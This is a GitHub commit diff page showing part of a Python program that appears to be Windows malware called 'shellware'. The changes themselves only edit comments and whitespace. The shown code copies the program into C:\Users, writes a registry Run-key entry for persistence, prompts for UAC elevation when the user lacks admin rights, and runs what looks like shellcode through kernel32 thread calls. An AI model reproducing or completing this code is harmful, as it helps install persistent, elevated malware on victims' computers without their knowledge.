File tree Expand file tree Collapse file tree 1 file changed +4
-3
lines changed Expand file tree Collapse file tree 1 file changed +4
-3
lines changed Original file line number Diff line number Diff line change @@ -100,20 +100,21 @@ def execute():
100100 ctypes .windll .kernel32 .WaitForSingleObject (ctypes .c_int (ht ),ctypes .c_int (- 1 ))
101101
102102def main ():
103-
103+
104104 dir = "C:\\ Users\\ "
105105 fileName = sys .argv [0 ]
106106 run = "Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run"
107107 autorun (dir , fileName , run )
108108 execute ()
109109
110110
111-
111+ # Check to see if we're already copied to C:\Users, if so, we're going to assume
112+ # registry entry for persistence and copy to dir were succesful and not prompt UAC.
112113if os .path .isfile ("C:\Users\shellware.exe" ):
113114 pass
114115else :
115116 if not shell .IsUserAnAdmin ():
116- #Prompt UAC
117+ # Prompt UAC
117118 ASADMIN = "asadmin"
118119
119120 if sys .argv [- 1 ] != ASADMIN :
You can’t perform that action at this time.
0 commit comments